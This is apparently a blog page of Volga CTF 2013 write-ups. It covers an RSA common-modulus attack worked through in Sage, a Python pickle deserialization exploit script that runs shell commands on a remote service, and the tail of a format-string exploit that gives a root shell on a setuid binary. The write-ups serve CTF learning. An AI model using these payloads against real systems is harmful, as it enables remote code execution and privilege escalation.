renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60\x00\x00\x00\x00\x00\n';cat) |  ./expl200 
id
uid=1000(renorobert) gid=1000(renorobert) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(renorobert)
We got a shell on the setuid root binary

Saturday, May 4, 2013

Volga CTF Quals 2013 - Crypto 200 - [Team xbios]

Description:
You've managed to intercept two transmissions from other space ships Ð each contains a password-protected archive and a ciphertext. They look like packages from the server that corrects autopilot configuration settings to avoid space garbage. Unfortunately, you can't communicate with this server. Apparently, both ciphertexts are actually the same message encrypted with different RSA public keys. As for the message, it might be the key for archive. Knowing the source of both transmissions, you do have public keys that might be used to encrypt the archive key. Is it possible to get the content of the archive? You will get the space junk out of your way!

We have the following data:
Public Key 1 
(e1, n) = (599703852157208324988436697659896404638315905290324375700570316485421693, 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349)

Cipher text 1
64192679490201084919864109589711225051306895753052452251471181011935890793544442381990900483806859201269602393008215002967277584404244028747557515652983421402831933955031514949051711613799413945375516057965907322753883557356486350981432321137639633448144656731569958858836168965404795837648422955123798171558220417018614361054908596961274183141350877544714255973182298022152382603068819975693640211216195897799698027064327186095742305485491820097943409724898378023689276832524319007493796910829806469346146322827201567159126666629388322479

Public Key 2
(e2, n) = (2021187385200166516022746434619391941987919206967476592818217288363509, 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349)

Cipher text 2
59479689549560080704719346207028172045832447629676482962810835773815464251268645222410752554301728769639790100177113106905240622051153394111672911715955043318248120741697967901541458159847100613910368380426590912304442624789475183028091060736577136778183984119998489277854012692016578461901960239232919085733417338853775102362931632001858570236887517967863584958729992234586883928904928030598648389127230808653922583812124081813290524003879897252243176409322823308176329788244775196386356286749265723818517581499920415831945106137632995322
We can notice that same value of 'n' is used in both cases and the message is also the same. So we can break this using RSA common modulus attack. This is what the attack says:
[*] e1 and e2 are relatively prime ie. gcd(e1, e2) == 1
[*] By the Extended Euclidean Algorithm, a*e1 + b*e2 == gcd(e1, e2)
[*] Let C1 and C2 be the cipher texts of message m

C1 = m^e1 mod n
C2 = m^e2 mod n 

C1^a * C2^b == (m^e1)^a * (m^e2)^b mod n
C1^a * C2^b == m^(a*e1 + b*e2) mod n
C1^a * C2^b == m mod n

Since a is negative, we compute
(C1^-1)^a * C2^b == m mod n
Ok, now lets use sage to do these computations
sage: e1 = 599703852157208324988436697659896404638315905290324375700570316485421693
sage: e2 = 2021187385200166516022746434619391941987919206967476592818217288363509
sage: n = 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349
sage: cipher1 = 64192679490201084919864109589711225051306895753052452251471181011935890793544442381990900483806859201269602393008215002967277584404244028747557515652983421402831933955031514949051711613799413945375516057965907322753883557356486350981432321137639633448144656731569958858836168965404795837648422955123798171558220417018614361054908596961274183141350877544714255973182298022152382603068819975693640211216195897799698027064327186095742305485491820097943409724898378023689276832524319007493796910829806469346146322827201567159126666629388322479
sage: cipher2 = 59479689549560080704719346207028172045832447629676482962810835773815464251268645222410752554301728769639790100177113106905240622051153394111672911715955043318248120741697967901541458159847100613910368380426590912304442624789475183028091060736577136778183984119998489277854012692016578461901960239232919085733417338853775102362931632001858570236887517967863584958729992234586883928904928030598648389127230808653922583812124081813290524003879897252243176409322823308176329788244775196386356286749265723818517581499920415831945106137632995322

sage: gcd(e1, e2)  # Relatively prime
1
sage: val = xgcd(e1, e2) # Extended Euclidean Algorithm
sage: val
(1, -3047508293327982779161516622450839163404526801300587435875399397355, 904222179681195587324531859318948099549580203141997568283661184044224)
sage: a = -val[1]
sage: a
3047508293327982779161516622450839163404526801300587435875399397355
sage: b = val[2]
sage: b
904222179681195587324531859318948099549580203141997568283661184044224
sage: cipher1_inv = inverse_mod(cipher1, n) # Multiplicative inverse
sage: cipher1_inv
49882118660580323132467117552276128300614229858832013404741331714334503133649474000400824741560286993474795185146741270220095396126691006446586108884217265900328937680293201118674476028108395000917327921867599979692111002779827647440384347225473157540218799037461665550199440995365907179136646940841772015473789593113023235321359849036424451006123980720306616883939654926239630666201750535887553205856794969495851564203306735787871522626375210178147364523182997655961822887981171722156045438928862532799694071412437194525903453048230129583

sage: c1a = Mod(cipher1_inv, n) ^ a # Square and Multiply algorithm
sage: c1a
41469201017671525980368839429837195396084994817924814990774939845326361705647744310093150006053943147640059339296841399913504561282912441493855262177235335163582510545748763113210275652403002725065333196077070355270576200547613273450470814161561912356462838553050343438059422947380358064075951153983513248335264919975924161127571537532543369398463333064729421949754686699997006195940667044423272156385649336229018660142717513039952955141634801106594451630692732900999746770594155899945113543988204102612492489906092084186526076794329828855
sage: c2b = Mod(cipher2, n) ^ b
sage: c2b
28572464787303927433139480688120103799450333993942770377763568953906568621027391472843696689996459445428095360778023546317751548897270315411496636052798098326232273297351844385991588487531221292119364884784693807035802310520348076486338510106043448492709653411110192210391119474114040490261049642643699360158053381341387211041514755333117982148513726627125367488864516664957365575090594728178808919916448298474482486390692427228381759924160007325779183789864908736476522756356374167807501269961385802206964229596780285088364964068284094380
sage: (c1a * c2b) % n
4561387865153841354984687512687489546516849543684654468465495143548954351686168165161
So the message is:
4561387865153841354984687512687489546516849543684654468465495143548954351686168165161

Using the message as password, open the compressed 7z file. We get the corrections.json file, which reads
{
   "server": "AN4-SEE23",
   "clientid": "1WSS-431222-2334-5666",
   "config": {
       "j-base": "+56.661",
       "values": "12889.557; 1333.127; LW; E21; -12.178"
   }
}
The flag for the challenge is : 12889.557; 1333.127; LW; E21; -12.178

Volga CTF Quals 2013 - Exploitation 100 - [Team xbios]

Description:
You have a nice service that transforms any messages into a simple Morse-like code for further usage. It seems to work pretty well but sometimes it can return something unusual. Find out what can make it work wrong and what it returns in this case. 10.13.0.5:6000

The source code of the service is given and its written in python. Vulnerability is easy to spot, the server.py file uses python pickles. Here is a section of code from server.py
while True:
    s_client, addrinfo = s.accept()
    os.fork()
    data = s_client.recv(1024)
    if data:
        try:
            print data + '\n from ' + str(addrinfo)
            print len(data)
            msg = pickle.loads(data) # code execution vulnerability 
            print str(msg)
            proc = Processor()
            response = proc.process(msg)
            s_client.send(response)
Here data passed to pickle.loads(data) is not sanitized. Details of exploiting python pickle is found in paper Sour Pickles and blog.nelhage.com. We tried using linux features to get a connect back shell and leak data through out of band traffic using wget and curl to make http requests. But both the attempt failed. Finally, this is the idea of our exploit

[*] dup2 stdout and socket descriptor
[*] execute commands using system() function and read the output from the socket

Below is the exploit we used:
#!/usr/bin/env python
# exploit.py

import pickle
import socket
import os

ip = "10.13.0.5"
#ip = "127.0.0.1"
port = 6000

soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip, port))

class payload_dup2(object):
    def __reduce__(self):
        return (os.dup2, (5,1,))

class payload_system(object):
    def __reduce__(self):
        com = "cat flag.txt"
        return (os.system, (com,))

payload  = pickle.dumps(payload_dup2())[:-1] #  remove the STOP marker
payload += pickle.dumps(payload_system())
print repr(payload)

soc.send(payload + '\n')
print soc.recv(1024)
Remove STOP marker from the dup2() pickled data, then append payload for system() with it .Pickle'd data is slightly modified to bypass sanity checks and can be analysed using pickletools.dis()
>>> pickletools.dis("cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np3\n(S'cat flag.txt'\np4\ntp5\nRp6\nR.")
    0: c    GLOBAL     'posix dup2'
   12: p    PUT        0
   15: (    MARK
   16: I        INT        5
   19: I        INT        1
   22: t        TUPLE      (MARK at 15)
   23: p    PUT        1
   26: R    REDUCE
   27: p    PUT        2
   30: c    GLOBAL     'posix system'
   44: p    PUT        3
   47: (    MARK
   48: S        STRING     'cat flag.txt'
   64: p        PUT        4
   67: t        TUPLE      (MARK at 47)
   68: p    PUT        5
   71: R    REDUCE
   72: p    PUT        6
   75: R    REDUCE
   76: .    STOP
highest protocol among opcodes = 0
[ctf@renorobert exploit100]$ python exploit.py  # ls
"cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'ls'\np1\ntp2\nRp3\n."
flag.txt
message.py
message.pyc
processor.py
processor.pyc
server.py

[ctf@renorobert exploit100]$ python exploit.py  # cat flag.txt
"cposix\ndup2\np0\n(I5\nI1\ntp1\nRp2\ncposix\nsystem\np0\n(S'cat flag.txt'\np1\ntp2\nRp3\n."
Iame@tt$ke][ack3R
The flag for the challenge is Iame@tt$ke][ack3R